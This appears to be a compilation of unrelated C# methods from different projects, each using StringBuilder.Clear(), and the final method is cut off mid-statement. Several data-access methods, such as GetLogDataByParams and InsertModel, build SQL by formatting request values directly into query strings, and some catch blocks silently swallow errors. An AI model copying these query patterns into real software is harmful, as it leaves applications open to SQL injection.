private void button1_Click(object sender, EventArgs e)
{
try {
if (openFileDialog1.ShowDialog() == DialogResult.OK)
{
List<byte> bytes = new List<byte>();
BinaryReader br = new BinaryReader(File.Open(openFileDialog1.FileName, FileMode.Open));
while (!(br.BaseStream.Position >= br.BaseStream.Length))
{
bytes.Add(br.ReadByte());
}
br.Close();
//BitArray plain = new BitArray(bytes.ToArray());
StringBuilder sb = new StringBuilder();
foreach (byte b in bytes)
{
sb.Append(Convert.ToString(b, 2).PadLeft(8, '0'));
}
richTextBox1.Text = sb.ToString();
sb.Clear();
LFSR lfsr = new LFSR(new List<int>() { 28, 3 },
Services.StringToBooleanArray(textBox1.Text).ToList(), bytes.ToArray());
byte[] cipher = lfsr.GetNewBitArray();
foreach (byte b in cipher)
{
string curByte = Convert.ToString(b, 2).PadLeft(8, '0');
for (int i = 0; i < 8; i++)
{
sb.Append(curByte[i]);
}
sb.Append(" ");
}
richTextBox3.Text = sb.ToString();
sb.Clear();
richTextBox2.Text = Services.BoolArrayToString(lfsr.Key);
if (saveFileDialog1.ShowDialog() == DialogResult.OK)
{
BinaryWriter bw = new BinaryWriter(File.Create(saveFileDialog1.FileName));
bw.Write(Services.BitArrayToByteArray(new BitArray(cipher)));
bw.Close();
}
}
}
catch
{
}
finally
{
}
}
private static void DataTableToJson(StringBuilder result, StringBuilder temp, DataTable table, string idColumn, string textColumn, string relativeColumn, object parentId)
{
result.Append(temp.ToString());
temp.Clear();
if (table.Rows.Count > 0)
{
temp.Append("[");
string filer = string.Format("{0}='{1}'", relativeColumn, parentId);
DataRow[] rows = table.Select(filer);
if (rows.Length > 0)
{
foreach (DataRow row in rows)
{
temp.Append("{\"id\":\"" + row[idColumn] + "\",\"text\":\"" + row[textColumn] + "\",\"state\":\"open\"");
if (table.Select(string.Format("{0}='{1}'", relativeColumn, row[idColumn])).Length > 0)
{
temp.Append(",\"children\":");
DataTableToJson(result, temp, table, idColumn, textColumn, relativeColumn, row[idColumn]);
result.Append(temp.ToString());
temp.Clear();
}
result.Append(temp.ToString());
temp.Clear();
temp.Append("},");
}
temp = temp.Remove(temp.Length - 1, 1);
}
temp.Append("]");
result.Append(temp.ToString());
temp.Clear();
}
}
private static string[] GetSeparators(string text)
{
List<string> separators = new List<string>();
StringBuilder separator = new StringBuilder();
for (int i = 0; i < text.Length; i++)
{
if (text[i] == ' ' || text[i] == '.' || text[i] == ',' ||
text[i] == '!' || text[i] == '?')
{
separator.Append(text[i]);
}
else if (separator.Length > 0)
{
separators.Add(separator.ToString());
separator.Clear();
}
}
if (separator.Length > 0)
{
separators.Add(separator.ToString());
separator.Clear();
}
return separators.ToArray();
}
private static void ImprimeGrafico(IEnumerable<ProcessoExecutado> processosExecutados, int tempoTotalExecucao)
{
ImprimeCabecalhoGrafico();
List<ProcessoExecutado> listProcessos = processosExecutados.ToList();
string linhaPadrao = PreencheLinhaProcessamentoVazia(tempoTotalExecucao);
var linha = new StringBuilder();
linha.Append(linhaPadrao);
listProcessos.Where(p => p.Tarefa.GetType() == typeof(Tarefa1)).ToList().ForEach(p => PreencheLinhaProcessamentoComInformacoes(p, ref linha));
SysConsole.WriteLine(linha.ToString());
linha.Clear();
linha.Append(linhaPadrao);
listProcessos.Where(p => p.Tarefa.GetType() == typeof(Tarefa2)).ToList().ForEach(p => PreencheLinhaProcessamentoComInformacoes(p, ref linha));
SysConsole.WriteLine(linha.ToString());
linha.Clear();
linha.Append(linhaPadrao);
listProcessos.Where(p => p.Tarefa.GetType() == typeof(Tarefa3)).ToList().ForEach(p => PreencheLinhaProcessamentoComInformacoes(p, ref linha));
SysConsole.WriteLine(linha.ToString());
linha.Clear();
linha.Append(linhaPadrao);
listProcessos.Where(p => p.Tarefa.GetType() == typeof(Tarefa4)).ToList().ForEach(p => PreencheLinhaProcessamentoComInformacoes(p, ref linha));
SysConsole.WriteLine(linha.ToString());
}
static void Main(string[] args)
{
//We are given a string containing a list of forbidden words and a text containing
//some of these words. Write a program that replaces the forbidden words with asterisks.Example:
//Microsoft announced its next generation PHP compiler today.
//It is based on .NET Framework 4.0 and is implemented as a dynamic language in CLR.
//Words: "PHP, CLR, Microsoft"
//The expected result:
//********* announced its next generation *** compiler today.
//It is based on .NET Framework 4.0 and is implemented as a dynamic language in ***.
string text = "Microsoft announced its next generation PHP compiler today."+
"It is based on .NET Framework 4.0 and is implemented as a dynamic language in CLR.";
string wordOne = "Microsoft";
StringBuilder b = new StringBuilder();
for (int i = 0; i < wordOne.Length; i++)
b.Append("*");
string starsOne = b.ToString();
b.Clear();
string wordTwo = "PHP";
for (int i = 0; i < wordTwo.Length; i++)
b.Append("*");
string starsTwo = b.ToString();
b.Clear();
string wordThree = "CLR";
for (int i = 0; i < wordThree.Length; i++)
b.Append("*");
string starsThree = b.ToString();
b.Clear();
StringBuilder sb = new StringBuilder(text);
sb.Replace(wordOne, starsOne);
sb.Replace(wordTwo, starsTwo);
sb.Replace(wordThree, starsThree);
Console.WriteLine(sb.ToString());
//text.IndexOf(wordOne);
}
public static void SavePuzzleState(SodukoPiece[,] p,int[,] originalState, int[,] currentPositions)
{
var state = new ApplicationDataCompositeValue();
StringBuilder sb = new StringBuilder();
foreach (SodukoPiece piece in p)
{
sb.Append(piece.GetInfoAsString());
}
state["Pieces"] = sb.ToString();
sb.Clear();
foreach (int i in originalState)
{
sb.Append(i.ToString());
sb.Append(";");
}
state["OriginalState"] = sb.ToString();
sb.Clear();
foreach (int i in currentPositions)
{
sb.Append(i.ToString());
sb.Append(";");
}
state["CurrentPos"] = sb.ToString();
ApplicationData.Current.LocalSettings.Values["PuzzleState"] = state;
}
/// <summary>
/// 根据参数获取禁毒日志记录
/// </summary>
/// <param name="param"></param>
/// <returns></returns>
public List <HCQ2_Model.Bane_LogDetail> GetLogDataByParams(HCQ2_Model.BaneUser.BaneLogParam param)
{
sb?.Clear();
sb.AppendFormat(@"SELECT TOP {0} * FROM (SELECT ROW_NUMBER() OVER(ORDER BY log_id ASC) rowNUmber,* FROM Bane_LogDetail WHERE 1=1 ", param.rows);
if (param.user_id > 0)
{
sb.AppendFormat(" AND user_id={0} ", param.user_id);
}
if (!string.IsNullOrEmpty(param.log_title))
{
sb.AppendFormat(" AND log_title LIKE '%{0}%' ", param.log_title);
}
if (!string.IsNullOrEmpty(param.log_date_start) && !string.IsNullOrEmpty(param.log_date_end))
{
sb.AppendFormat(" AND CONVERT(NVARCHAR(20),log_date,23) BETWEEN '{0}' AND '{1}' ", param.log_date_start, param.log_date_end);
}
else if (!string.IsNullOrEmpty(param.log_date_start) && string.IsNullOrEmpty(param.log_date_end))
{
sb.AppendFormat(" AND CONVERT(NVARCHAR(20),log_date,23)>='{0}' ", param.log_date_start);
}
else if (string.IsNullOrEmpty(param.log_date_start) && !string.IsNullOrEmpty(param.log_date_end))
{
sb.AppendFormat(" AND CONVERT(NVARCHAR(20),log_date,23)<='{0}' ", param.log_date_end);
}
sb.AppendFormat(") logs WHERE logs.rowNUmber>{0};", (param.page - 1) * param.rows);
DataTable dt = HCQ2_Common.SQL.SqlHelper.ExecuteDataTable(sb.ToString(), CommandType.Text);
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <HCQ2_Model.Bane_LogDetail>(dt));
}
private static List<CipherElement> BuilderCipher(string cipherTodecode)
{
char? letter = null;
List<CipherElement> elements = new List<CipherElement>();
StringBuilder digits = new StringBuilder();
foreach (var item in cipherTodecode)
{
if(char.IsLetter(item))
{
if (letter !=null)
{
CipherElement element = new CipherElement();
element.Letter = letter;
element.Digits = digits.ToString();
elements.Add(element);
digits.Clear();
}
letter = item;
}
else
{
digits.Append(item);
}
}
CipherElement Lastelement = new CipherElement();
Lastelement.Letter = letter;
Lastelement.Digits = digits.ToString();
elements.Add(Lastelement);
digits.Clear();
return elements;
}
// Enumeratori
public IEnumerator GetEnumerator()
{
StringBuilder sout = new StringBuilder();
sout.Clear();
foreach(char c in t)
{
if(s.Contains(c.ToString()))
{
if( ((sout.ToString()).Trim()).Length > 0)
{
yield return sout.ToString().Trim();
sout.Clear();
}
}
else
{
sout.Append(c);
}
}
if (((sout.ToString()).Trim()).Length > 0)
{
yield return sout.ToString().Trim();
sout.Clear();
}
yield break;
}
static void Main()
{
string text = "Sos, bob ili potop, ABBA slusham az!";
string[] words = text.Split(' ', ',', '.');
string element = "";
StringBuilder firstPart = new StringBuilder();
StringBuilder secondPart = new StringBuilder();
for (int i = 0; i < words.Length; i++)
{
element = words[i];
string firstHalf = "";
string secondHalf = "";
if (element.Length % 2 == 0 && element!= "")
{
for (int j = 0; j < element.Length / 2; j++)
{
firstPart.Append(element[j]);
}
for (int j = element.Length - 1; j >= element.Length / 2; j--)
{
secondPart.Append(element[j]);
}
firstHalf = firstPart.ToString();
secondHalf = secondPart.ToString();
firstPart.Clear();
secondPart.Clear();
int compare = string.Compare(firstHalf, secondHalf, StringComparison.InvariantCultureIgnoreCase);
if (compare == 0)
{
Console.WriteLine(element);
}
}
else if(element.Length % 2 != 0 && element!= "")
{
for (int j = 0; j < element.Length / 2; j++)
{
firstPart.Append(element[j]);
}
for (int j = element.Length - 1; j >= element.Length / 2 + 1; j--)
{
secondPart.Append(element[j]);
}
firstHalf = firstPart.ToString();
secondHalf = secondPart.ToString();
firstPart.Clear();
secondPart.Clear();
int compare = string.Compare(firstHalf, secondHalf, StringComparison.InvariantCultureIgnoreCase);
if (compare == 0)
{
Console.WriteLine(element);
}
}
}
}
public void MaximumDraws()
{
// This function has a objetive to solve this challenge: https://www.hackerrank.com/challenges/maximum-draws
// The first line contains the number of test cases.
// The next T lines contains an integer N which indicates the total pairs of socks present in the drawer.
StringBuilder vs_Input = new StringBuilder();
string vs_received = string.Empty;
string vs_expected = string.Empty;
vs_expected = "2\n3";
vs_Input.Append("2\n");
vs_Input.Append("1\n");
vs_Input.Append("2\n");
vs_received = HackerHank.Challengers.MaximumDraws(vs_Input.ToString());
Assert.AreEqual(vs_expected, vs_received);
vs_Input.Clear();
// Second test
vs_expected = "5";
vs_Input.Append("1\n");
vs_Input.Append("4\n");
vs_received = HackerHank.Challengers.MaximumDraws(vs_Input.ToString());
Assert.AreEqual(vs_expected, vs_received);
// Third test
vs_Input.Clear();
vs_expected = "4";
vs_Input.Append("1\n");
vs_Input.Append("3\n");
vs_received = HackerHank.Challengers.MaximumDraws(vs_Input.ToString());
Assert.AreEqual(vs_expected, vs_received);
}
/// <summary>
/// Method to save device detail
/// </summary>
/// <param name="deviceMl"></param>
/// <returns></returns>
public int SaveDevice(DeviceModel deviceMl)
{
// Creating instance of the string builder class to hold the tracing data
StringBuilder objStringBuilderTrace = new StringBuilder();
device objDevice = new device();
// Append tracing into string builder
objStringBuilderTrace.AppendLine("Start method : SaveDevice(DeviceModel deviceML) :: JetstreamLaunchpad.DAL.Device class : DBDevice.cs");
// Writing trace log into the log file
SaveLogger.SaveLoggerTrace(objStringBuilderTrace.ToString());
// Clear StringBuilder object
objStringBuilderTrace.Clear();
objDevice.LogicalDeviceId = deviceMl.LogicalDeviceId;
objDevice.DeviceName = deviceMl.DeviceName;
objDevice.SerialNumber = deviceMl.SerialNumber;
objDevice.DeviceGuid = deviceMl.DeviceGuid;
objDevice.Region = deviceMl.Region;
ObjTersoDataContext.devices.Add(objDevice);
ObjTersoDataContext.SaveChanges();
var deviceId = deviceMl.DeviceId;
// Append tracing into string builder
objStringBuilderTrace.AppendLine("End method : SaveDevice(DeviceModel deviceML) :: JetstreamLaunchpad.DAL.Device class : DBDevice.cs");
// Writing trace log into the log file
SaveLogger.SaveLoggerTrace(objStringBuilderTrace.ToString());
objStringBuilderTrace.Clear();
return deviceId;
}
static void Main(string[] args)
{
System.Array.Sort(args);
for (int i = 0; i < args.Length; i++)
{
Console.WriteLine((i+1) + ". " + args[i]);
}
Console.WriteLine();
StringBuilder sb = new StringBuilder();
sb.Clear();
for (int i = 0; i < args.Length; i++)
{
sb.Append(args[i]);
}
Console.WriteLine(sb.ToString());
Console.WriteLine();
for (int i = 0; i < args.Length; i++)
{
sb.Clear();
sb.Append(args[i].Length);
sb.Append(" ");
sb.Append(args[i]);
Console.WriteLine(sb);
}
Console.ReadLine();
}
static string[] Extraxt(string address)
{
string[] info = new string[3];
StringBuilder sb = new StringBuilder();
int firstSepIndex = address.IndexOf("://"); //index of the first seperator
int secondSepIndex = address.IndexOf('/', firstSepIndex + 3); //index of the second separator
for (int i = 0; i < firstSepIndex; i++) //protocol
{
sb.Append(address[i]);
}
info[0] = sb.ToString();
sb.Clear();
for (int i = firstSepIndex + 3; i < secondSepIndex; i++) //server
{
sb.Append(address[i]);
}
info[1] = sb.ToString();
sb.Clear();
for (int i = secondSepIndex; i < address.Length; i++) //resource
{
sb.Append(address[i]);
}
info[2] = sb.ToString();
return info;
}
private static IEnumerable<string> IterateParameters(string s, string escapeChar)
{
bool isParameter = false;
var sb = new StringBuilder();
foreach (var c in s)
{
if (sb.ToString().EndsWith(escapeChar))
{
if (isParameter)
throw new InvalidOperationException("Invalid query");
isParameter = true;
sb.Clear();
}
if (isParameter && sb.Length == 0 && char.IsLetter(c))
sb.Append(c);
else if (isParameter && sb.Length > 0 && char.IsLetterOrDigit(c))
sb.Append(c);
else if (isParameter)
{
yield return sb.ToString();
isParameter = false;
sb.Clear();
}
else
{
sb.Append(c);
}
}
if (sb.Length > 0 && isParameter)
yield return sb.ToString();
}
private static void SimpleTest(Enums.MediaType type)
{
#region 建立一个item
StringBuilder st = new StringBuilder();
string[] article = File.ReadAllLines(@"1.txt");
ItemToDuplication s = new ItemToDuplication(new Item());
s.ItemID = "source"; s.MediaType = type; s.SpliteTitle = article[0]; s.PubDate = DateTime.Now;
st.Clear();
for (int i = 1; i < article.Length; ++i)
st.Append(article[i]);
s.SpliteText = st.ToString();
#endregion
//将刚才建立的item添加到myDetector中
myDetector.TestAndTryAdd(s);
#region 建立一个测试item
article = File.ReadAllLines(@"2.txt");
//s = new ItemToDuplication();
s.ItemID = "test"; s.MediaType = type; s.SpliteTitle = article[0]; s.PubDate = DateTime.Now;
st.Clear();
for (int i = 1; i < article.Length; ++i)
st.Append(article[i]);
s.SpliteText = st.ToString();
#endregion
//测试转载检测
string id = null;
id = myDetector.TestAndTryAdd(s);
if (id != null)
Console.WriteLine("Copied Item: " + id);
else Console.WriteLine("Not copied.");
}
public ISet<Word> Read(string source)
{
ISet<Word> result = new HashSet<Word>();
string readstring = GetString(source);
bool skiptonextspace = false;
StringBuilder stringbuilder = new StringBuilder(20);
foreach (char c in readstring) {
if (!skiptonextspace) {
if (char.IsLetter(c)) {
stringbuilder.Append(c);
} else if (IsSpecialCharacter(c)) {
string newstring = stringbuilder.ToString();
if (newstring.Length > 0) { // Only add if the new word isn't the empty string.
newstring = newstring.ToLowerInvariant();
result.Add(new Word(newstring));
stringbuilder.Clear();
}
} else { // The word contains a number or a symbol not listed in 'specialchars' and the program skips to the next word.
stringbuilder.Clear();
skiptonextspace = true;
}
} else if (c == ' ') {
skiptonextspace = false;
}
}
return result;
}
/// <summary>
/// Method to save user detail into database
/// </summary>
/// <param name="userMl"></param>
/// <returns></returns>
public int SaveUserDetails(UsersModel userMl)
{
// Creating instance of the string builder class to hold the tracing data
StringBuilder objStringBuilderTrace = new StringBuilder();
user objUserDetail = new user();
// Append tracing into string builder
objStringBuilderTrace.AppendLine("Start method : SaveUserDetails(UsersModel userML) :: JetstreamLaunchpad.DAL.Users class : DBUsers.cs");
// Writing trace log into the log file
SaveLogger.SaveLoggerTrace(objStringBuilderTrace.ToString());
// Clear StringBuilder object
objStringBuilderTrace.Clear();
objUserDetail.FirstName = userMl.FirstName;
objUserDetail.LastName = userMl.LastName;
objUserDetail.EmailAddress = userMl.EmailAddress;
objUserDetail.PassNumber = userMl.PassNumber;
objUserDetail.PassRFID = userMl.PassRFID != null ? userMl.PassRFID.ToUpper() : userMl.PassRFID;
objUserDetail.Status = userMl.Status;
ObjTersoDataContext.users.Add(objUserDetail);
ObjTersoDataContext.SaveChanges();
var userId = objUserDetail.UserId;
// Append tracing into string builder
objStringBuilderTrace.AppendLine("End method : SaveUserDetails(UsersModel userML) :: JetstreamLaunchpad.DAL.Users class : DBUsers.cs");
// Writing trace log into the log file
SaveLogger.SaveLoggerTrace(objStringBuilderTrace.ToString());
objStringBuilderTrace.Clear();
return userId;
}
static void ReadWords()
{
int N = int.Parse(Console.ReadLine());
for (int i = 0; i < N; i++)
{
string inputLine = Console.ReadLine().ToLower();
var word = new StringBuilder();
for (int j = 0; j < inputLine.Length; j++)
{
if (inputLine[j] >= 'a' && inputLine[j] <= 'z')
{
word.Append(inputLine[j]);
}
else if (inputLine[j] >= 'A' && inputLine[j] <= 'Z')
{
word.Append((char)inputLine[j] - 'A' + 'a');
}
else if (word.Length > 0)
{
AddWord(word.ToString());
word.Clear();
}
}
if (word.Length > 0)
{
AddWord(word.ToString());
word.Clear();
}
}
}
private static IEnumerable<string> SplitAndLower(string source)
{
var strings = new List<string>();
var builder = new StringBuilder();
foreach (var character in source)
{
if (IsSeparator(character))
{
if (builder.Length > 0)
{
strings.Add(builder.ToString());
}
builder.Clear();
continue;
}
else if (char.IsUpper(character) && builder.Length > 0)
{
strings.Add(builder.ToString());
builder.Clear();
}
builder.Append(char.ToLowerInvariant(character));
}
if (builder.Length > 0)
{
strings.Add(builder.ToString());
}
return strings;
}
static void Main()
{
StringBuilder sb = new StringBuilder();
int n = int.Parse(Console.ReadLine());
int step = int.Parse(Console.ReadLine());
for (int i = 0; i < n; i++)
{
sb.Append(Convert.ToString(int.Parse(Console.ReadLine()), 2).PadLeft(8, '0'));
}
char[] numsBytes = sb.ToString().ToCharArray();
sb.Clear();
numsBytes[0] = (numsBytes[0] == '0') ? '1' : '0';
for (int i = step; i < numsBytes.Length; i += step)
{
numsBytes[i] = (numsBytes[i] == '0') ? '1' : '0';
}
int counter = 0;
for (int i = 0; i < numsBytes.Length; i++)
{
sb.Append(numsBytes[i]);
++counter;
if (counter == 8)
{
Console.WriteLine(Convert.ToInt16(sb.ToString(), 2));
sb.Clear();
counter = 0;
}
}
Console.Read();
}
public void LoadData()
{
StringBuilder sBuilder = new StringBuilder(_maxBufferSize); // Assum 1024 is a big enough number to contain all chars
NativeMethods.GetLicensedFeatureListDelimitedBy_Win32(_delimiter, sBuilder, _maxBufferSize);
string strFeatures = sBuilder.ToString();
sBuilder.Clear();
if (string.IsNullOrEmpty(strFeatures))
{
return;
}
string[] features = strFeatures.Split(_delimiter.ToCharArray());
foreach (string feature in features)
{
NativeMethods.GetFeatureDetailsDelimitedBy_Win32(feature, _delimiter, sBuilder, _maxBufferSize);
string strDetails = sBuilder.ToString();
sBuilder.Clear();
if (string.IsNullOrEmpty(strDetails))
{
continue;
}
string[] details = strDetails.Split(_delimiter.ToCharArray());
if (details.Length < 6)
{
continue;
}
Licences.Add(new Licence(details[0], GetFeatureDisplayName(details[0]), details[0], details[1], details[2], details[3], details[4], details[5]));
}
}
public int InsertModel(SphinxExcludeQuery model)
{
StringBuilder sqlStr = new StringBuilder();
try
{
sqlStr.AppendFormat("select count(product_id) from sphinx_exclude where product_id={0}", model.product_id);
if(accessMySql.getDataTable(sqlStr.ToString()).Rows[0][0].ToString()!="0")
{
return -1;
}
sqlStr.Clear();
sqlStr.AppendFormat("select count(product_id) from product where product_id={0}",model.product_id);
if (accessMySql.getDataTable(sqlStr.ToString()).Rows[0][0].ToString() == "0")
{
return -2;
}
sqlStr.Clear();
sqlStr.AppendFormat("insert sphinx_exclude(product_id,kdate,kuser) values({0},'{1}','{2}')", model.product_id, Common.CommonFunction.DateTimeToString(DateTime.Now),(System.Web.HttpContext.Current.Session["caller"] as Caller).user_id);
return accessMySql.execCommand(sqlStr.ToString());
}
catch (Exception ex)
{
throw new Exception("SphinxExcludeDao-->InsertModel-->" + ex.Message + sqlStr.ToString(), ex);
}
}
static void Main()
{
secretCode = Console.ReadLine();
chipher = Console.ReadLine();
StringBuilder sbNumber = new StringBuilder();
char key = new char();
for (int i = 0; i < chipher.Length; i++)
{
if (chipher[i] >= 'A' && chipher[i] <= 'Z')
{
if (key > 0)
{
chiphers.Add(sbNumber.ToString(), key);
sbNumber.Clear();
}
key = chipher[i];
}
else
{
sbNumber.Append(chipher[i]);
}
}
if (sbNumber.Length > 0)
{
chiphers.Add(sbNumber.ToString(), key);
sbNumber.Clear();
}
Solve(0, new List<char>());
Console.WriteLine(endResult.Count);
Console.WriteLine(string.Join(Environment.NewLine, endResult.OrderBy(s => s)));
}
private static string[] GetWords(string text)
{
List<string> words = new List<string>();
StringBuilder word = new StringBuilder();
for (int i = 0; i < text.Length; i++)
{
char c = text[i];
if (char.IsLetter(c))
{
word.Append(c);
}
else
{
if (word.Length > 1)
{
words.Add(word.ToString());
}
word.Clear();
}
}
if (word.Length > 1)
{
words.Add(word.ToString());
word.Clear();
}
return words.ToArray();
}
internal ComplexParseResult(List<ParseResult> parts)
{
List<ParseResult> my = new List<ParseResult>();
StringBuilder sb = new StringBuilder();
int totalLength = 0;
foreach (ParseResult part in flatten(parts)) {
if (part.type == ParseResultType.UNPARSED) {
sb.Append(((UnparsedParseResult)part).text);
} else {
if (sb.Length > 0) {
my.Add(ParseResult.unparsed(sb.ToString()));
totalLength += sb.Length;
sb.Clear();
}
my.Add(part);
totalLength += part.length;
}
}
if (sb.Length > 0) {
my.Add(ParseResult.unparsed(sb.ToString()));
totalLength += sb.Length;
sb.Clear();
}
this.totalLength = totalLength;
this.parts = new ReadOnlyCollection<ParseResult>(my);
}
public Task<ILifecycleContext> Execute(ILifecycleContext context)
{
var svcDef = context.ServiceDefinition;
var enumWriter = context.EnumWriter;
var modelWriter = context.ModelWriter;
var sb = new StringBuilder();
// Enums First
var template = context.ApiEnumTemplate;
foreach (var obj in svcDef.Enums.SelectMany(x => x))
{
using (var sw = new StringWriter(sb.Clear()))
{
template(sw, obj);
}
enumWriter(obj.Name, sb.ToString(), obj);
}
// Models Second
template = context.ApiModelTemplate;
foreach (var obj in svcDef.Models.SelectMany(x => x))
{
using (var sw = new StringWriter(sb.Clear()))
{
template(sw, obj);
}
modelWriter(obj.Name, sb.ToString(), obj);
}
return Task.FromResult(context);
}
/// <summary>
/// Method to save item
/// </summary>
/// <param name="itemMl"></param>
/// <returns></returns>
public int SaveItem(ItemModel itemMl)
{
// Creating instance of the string builder class to hold the tracing data
StringBuilder objStringBuilderTrace = new StringBuilder();
item objItem = new item();
// Append tracing into string builder
objStringBuilderTrace.AppendLine("Start method : SaveItem(ItemModel itemML) :: JetstreamLaunchpad.DAL.Item class : DBItem.cs");
// Writing trace log into the log file
SaveLogger.SaveLoggerTrace(objStringBuilderTrace.ToString());
// Clear StringBuilder object
objStringBuilderTrace.Clear();
objItem.Material = itemMl.Material;
objItem.Batch = itemMl.Batch;
objItem.ExpirationDate = itemMl.ExpirationDate;
objItem.EPC = itemMl.EPC;
ObjTersoDataContext.items.Add(objItem);
ObjTersoDataContext.SaveChanges();
var itemId = itemMl.ItemId;
// Append tracing into string builder
objStringBuilderTrace.AppendLine("End method : SaveItem(ItemModel itemML) :: JetstreamLaunchpad.DAL.Item class : DBItem.cs");
// Writing trace log into the log file
SaveLogger.SaveLoggerTrace(objStringBuilderTrace.ToString());
objStringBuilderTrace.Clear();
return itemId;
}
/// <summary>
/// 根据条件 获取项目台账数据集合
/// </summary>
/// <param name="param"></param>
/// <returns></returns>
public List <ItemPreserveModel> GetInitData(ItemPreserveParam param)
{
sb?.Clear();
sb.Append(string.Format(@"SELECT TOP {0} tt.*,code.ip_status_text,record.tail_after FROM
(SELECT ROW_NUMBER() OVER(ORDER BY ip_id) AS RowNumber, ip_id,
unit_name, unit_code, ip_status, area_code, pact_money, pay_money,
CONVERT(varchar(100), pay_date, 23) AS pay_date, pay_cash_money, pra_cash_money, duty_person, touch_phone,
CONVERT(varchar(100), pact_start, 23) AS pact_start, record_name, CONVERT(varchar(100), update_date, 23) AS update_date, user_note FROM BB_ItemPreserve WHERE 1=1 ", param.rows));
_param?.Clear();
if (!string.IsNullOrEmpty(param.unit_code))
{
sb.Append(" AND unit_code = @unit_code ");
_param.Add("@unit_code", param.unit_code);
}
else if (!string.IsNullOrEmpty(param.area_code))
{
sb.Append(" AND area_code = @area_code ");
_param.Add("@area_code", param.area_code);
}
else
{
sb.Append(" AND 1=0 ");
}
if (!string.IsNullOrEmpty(param.status))
{
sb.Append(" AND ip_status = @status ");
_param.Add("@status", param.status);
}
sb.Append(string.Format(@" ) tt LEFT JOIN (SELECT DATEDIFF(dd,tt.track_date,GETDATE()) AS tail_after,tt.unit_code FROM (SELECT ROW_NUMBER() OVER(PARTITION BY unit_code ORDER BY track_date ASC) AS RowNumber,unit_code,track_date FROM BB_TrackRecord WHERE tr_status='02') AS tt WHERE tt.RowNumber=1) record ON tt.unit_code=record.unit_code LEFT JOIN (SELECT item1.*,item2.* FROM
(SELECT item_id, item_code FROM dbo.T_ItemCode WHERE item_code = 'ItemStatus') item1 INNER JOIN
(SELECT code_name AS ip_status_text, code_value AS ip_status, item_id AS id FROM dbo.T_ItemCodeMenum) item2 ON item1.item_id = item2.id) code ON tt.ip_status = code.ip_status WHERE tt.RowNumber > {0} ORDER BY tt.RowNumber;", (param.page - 1) * param.rows));
DataTable dt = SqlHelper.ExecuteDataTable(sb.ToString(), CommandType.Text, SqlHelper.GetParameters(_param));
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <ItemPreserveModel>(dt));
}
/// <summary>
/// Method to get item by itemid
/// </summary>
/// <param name="itemId"></param>
/// <returns></returns>
public ItemModel GetItemByItemId(int itemId)
{
// Creating instance of the string builder class to hold the tracing data
StringBuilder objStringBuilderTrace = new StringBuilder();
ItemModel itemMl = new ItemModel();
// Append tracing into string builder
objStringBuilderTrace.AppendLine("Start method : GetItemByItemId(int itemId) :: JetstreamLaunchpad.DAL.Item Class : DBItem.cs");
// Writing trace log into the log file
SaveLogger.SaveLoggerTrace(objStringBuilderTrace.ToString());
// Clear StringBuilder object
objStringBuilderTrace.Clear();
var item = ObjTersoDataContext.items.FirstOrDefault(x => x.ItemId == itemId);
if (item != null)
{
itemMl.ItemId = item.ItemId;
itemMl.Material = item.Material;
itemMl.Batch = item.Batch;
itemMl.ExpirationDate = item.ExpirationDate;
itemMl.ExpirationDateString = item.ExpirationDate != null ? String.Format("{0:MM/dd/yyyy}", item.ExpirationDate.Value) : string.Empty;
itemMl.EPC = item.EPC;
}
// Append tracing into string builder
objStringBuilderTrace.AppendLine("End method : GetItemByItemId(int itemId) :: JetstreamLaunchpad.DAL.Item Class : DBItem.cs");
// Writing trace log into the log file
SaveLogger.SaveLoggerTrace(objStringBuilderTrace.ToString());
objStringBuilderTrace.Clear();
return itemMl;
}
public static string[] Split(string words, StringSplitOptions splitOptions, bool splitOnCaseDifference)
{
if (string.IsNullOrEmpty(words))
{
return new string[] { words };
}
string[] initial = words.Split(_separators, splitOptions);
List<string> final = new List<string>();
int finalIndex = 0;
for (int i = 0; i < initial.Length; i++)
{
StringBuilder sb = new StringBuilder();
string w = initial[i];
bool isUpper = char.IsUpper(w[0]);
sb.Append(w[0]);
for (int c = 1; c < w.Length; c++)
{
if (splitOnCaseDifference && char.IsUpper(w[c]))
{
final.Insert(finalIndex++, sb.ToString());
sb.Clear();
}
sb.Append(w[c]);
}
if (sb.Length > 0)
{
final.Insert(finalIndex++, sb.ToString());
sb.Clear();
}
}
return final.ToArray();
}
public void downloadLZHFiles(List<string> lstDates, JRDBMember jrdbMem, string appPath)
{
try{
StringBuilder sb = new StringBuilder();
string strDownLoadFolder = sb.Append(appPath).Append("\\temp").ToString();
if(Directory.Exists(strDownLoadFolder) == false)
Directory.CreateDirectory(strDownLoadFolder);
sb.Clear();
WebClient wc = new WebClient();
wc.Credentials = new NetworkCredential(jrdbMem.UserID, jrdbMem.PassWord);
for (int i = 0; i < lstDates.Count; i++)
{
sb.Append(strKYLzhUrl).Append(strKYFilePrefix).Append(lstDates[i]).Append(".lzh");
string strDLKYFileURL = sb.ToString();
sb.Clear();
sb.Append(appPath).Append("\\temp\\").Append(strKYFilePrefix).Append(lstDates[i]).Append(".lzh");
string strDLKYFile = sb.ToString();
sb.Clear();
sb.Append(strCYLzhUrl).Append(strCYFilePrefix).Append(lstDates[i]).Append(".lzh");
string strDLCYFileURL = sb.ToString();
sb.Clear();
sb.Append(appPath).Append("\\temp\\").Append(strCYFilePrefix).Append(lstDates[i]).Append(".lzh");
string strDLCYFile = sb.ToString();
sb.Clear();
wc.DownloadFile(strDLKYFileURL, strDLKYFile);
wc.DownloadFile(strDLCYFileURL, strDLCYFile);
}
wc.Dispose();
}
catch (Exception e)
{
string s = e.Message;
}
}
/// <summary>
/// 随机获取题目
/// </summary>
/// <param name="howLen">随机几条</param>
/// <returns></returns>
public List <BaneTopicModel> GetAnswerQuestion(int howLen)
{
sb?.Clear();
sb.AppendFormat(@"SELECT * FROM (SELECT TOP {0} sub_id,sub_title AS issue_title,sub_value,sub_essay FROM dbo.Bane_QuestionInfo ORDER BY NEWID()) answer ORDER BY answer.sub_id;", howLen);
DataTable dt = HCQ2_Common.SQL.SqlHelper.ExecuteDataTable(sb.ToString(), CommandType.Text);
return(HCQ2_Common.Data.DataTableHelper.DataTableToIList <BaneTopicModel>(dt));
}
/// <summary>
/// 获取分享人员数据
/// </summary>
/// <returns></returns>
public List <HCQ2_Model.SelectModel.ListBoxModel> GetShareDataByPerson()
{
sb?.Clear();
sb.Append(@"SELECT text=u.user_name,CAST(u.user_id AS NVARCHAR(100)) AS value FROM
(SELECT user_name,user_id FROM dbo.T_User WHERE reg_from=0) u LEFT JOIN
(SELECT UnitID,user_id FROM dbo.T_Org_User) o ON u.user_id=o.user_id;");
